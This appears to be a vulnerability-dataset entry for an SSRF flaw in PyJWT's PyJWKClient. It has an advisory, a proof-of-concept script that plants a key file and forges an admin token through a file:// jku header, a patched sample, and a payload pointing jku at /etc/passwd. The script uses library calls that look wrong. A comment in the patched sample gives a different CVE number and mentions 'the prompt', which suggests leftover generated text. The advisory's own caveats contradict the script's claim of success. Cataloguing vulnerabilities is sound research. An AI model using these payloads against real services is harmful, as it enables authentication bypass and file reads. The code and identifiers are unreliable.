VAITP Dataset

← Back to the dataset

CVE-2026-48522

PyJWT's PyJWKClient is vulnerable to SSRF via non-HTTP(S) URI schemes.

  • CVSS 4.2
  • CWE-441
  • Input Validation and Sanitization
  • Remote

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.

CVSS base score
4.2
Published
2026-05-28
OWASP
A10 Server-Side Request Forgery (SSRF)
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
PyJWT
Fixed by upgrading
Yes

Solution

Upgrade PyJWT to version 2.13.0 or later.

Vulnerable code sample

# This example requires PyJWT < 2.13.0 and cryptography to be installed.
# For example: pip install "PyJWT<2.13.0" cryptography

import jwt
import json
import os
from jwt import PyJWKClient
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# --- Attacker's Setup ---

# 1. Attacker generates an RSA key pair.
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# 2. Attacker creates a malicious JWKS file and plants it on the server's filesystem.
#    This simulates a scenario where the attacker has some form of file write access,
#    or can control a file path that the application will read.
jwks_file_path = "local_attacker_jwks.json"
attacker_kid = "attacker_key_id_from_file"

# Generate the public key in PEM format to create a JWK
pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)
jwk = jwt.jwk_from_pem(pem, kid=attacker_kid)

# Write the attacker's public key as a JWKS to the local file
with open(jwks_file_path, "w") as f:
    json.dump({"keys": [jwk]}, f)

# 3. Attacker crafts a JWT, signed with their private key.
#    The JWT header's 'jku' (JWK Set URL) points to the local file using a file:// URI.
jku_url = f"file://{os.path.abspath(jwks_file_path)}"
jwt_headers = {
    "alg": "RS256",
    "jku": jku_url,
    "kid": attacker_kid
}
payload = {"user": "attacker", "is_admin": True}
attacker_token = jwt.encode(payload, private_key, algorithm="RS256", headers=jwt_headers)


# --- Vulnerable Server Application (using PyJWT < 2.13.0) ---

# The server receives the attacker's token from an untrusted source.
untrusted_token = attacker_token

# The server uses PyJWKClient to get the key specified in the 'jku' header.
# A URI is not provided during initialization because it will be read from the token header.
jwks_client = PyJWKClient(uri=None)

print(f"Server received a token with 'jku' header: {jku_url}")
print("Attempting to decode and verify the token...")

try:
    # PyJWKClient will insecurely use urllib.request.urlopen() on the 'jku' value.
    # This allows it to read the local file specified by the file:// URI.
    # It will find the attacker's public key in the local file and use it
    # to successfully verify the signature of the forged token.
    decoded_payload = jwt.decode(
        untrusted_token,
        algorithms=["RS256"],
        options={"verify_signature": True},
        jwks_client=jwks_client
    )
    print("\n[!!!] VULNERABILITY EXPLOITED [!!!]")
    print("Server successfully validated a forged token by reading a local file.")
    print(f"Decoded payload: {decoded_payload}")

except Exception as e:
    print(f"\nServer failed to decode token: {e}")

finally:
    # --- Cleanup ---
    if os.path.exists(jwks_file_path):
        os.remove(jwks_file_path)

Patched code sample

import sys
from typing import Collection, Optional
from urllib.parse import urlparse

# This code is a minimal representation of the fix introduced in
# PyJWT version 2.13.0 to address CVE-2022-48522 (mislabeled in the
# prompt as CVE-2026-48522).
#
# The fix involves validating the scheme of the provided URI against an
# allowlist (defaulting to 'http' and 'https') before it is ever passed
# to a URL-opening function.

class PyJWKClientError(Exception):
    """A base exception for the PyJWKClient."""

class PyJWKClient:
    def __init__(
        self,
        uri: str,
        schemes: Optional[Collection[str]] = None,
    ):
        self.uri = uri

        if schemes is None:
            schemes = ["http", "https"]

        self.schemes = schemes
        self._validate_uri()

    def _validate_uri(self) -> None:
        """
        Validate that the URI has a supported scheme.
        """
        parsed_uri = urlparse(self.uri)

        if parsed_uri.scheme not in self.schemes:
            raise PyJWKClientError(
                f'The specified URI has an unsupported scheme: "{parsed_uri.scheme}"'
            )

# Example of how the fix prevents the vulnerability:
# Before the fix, the following line would proceed and attempt to open a local file.
# After the fix, it raises a PyJWKClientError, preventing the request.
try:
    PyJWKClient("file:///etc/passwd")
except PyJWKClientError as e:
    # The fix successfully blocks the request to a non-HTTP(S) scheme.
    print(f"Blocked unsafe URI: {e}", file=sys.stderr)

# An allowed URI will instantiate the client without error.
try:
    PyJWKClient("https://www.example.com/.well-known/jwks.json")
    print("Successfully initialized with a valid HTTPS URI.")
except PyJWKClientError:
    # This block should not be reached.
    print("Failed to initialize with a valid URI.", file=sys.stderr)

Payload

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "file:///etc/passwd"
}

Cite this entry

@misc{vaitp:cve202648522,
  title        = {{PyJWT's PyJWKClient is vulnerable to SSRF via non-HTTP(S) URI schemes.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48522},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48522/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::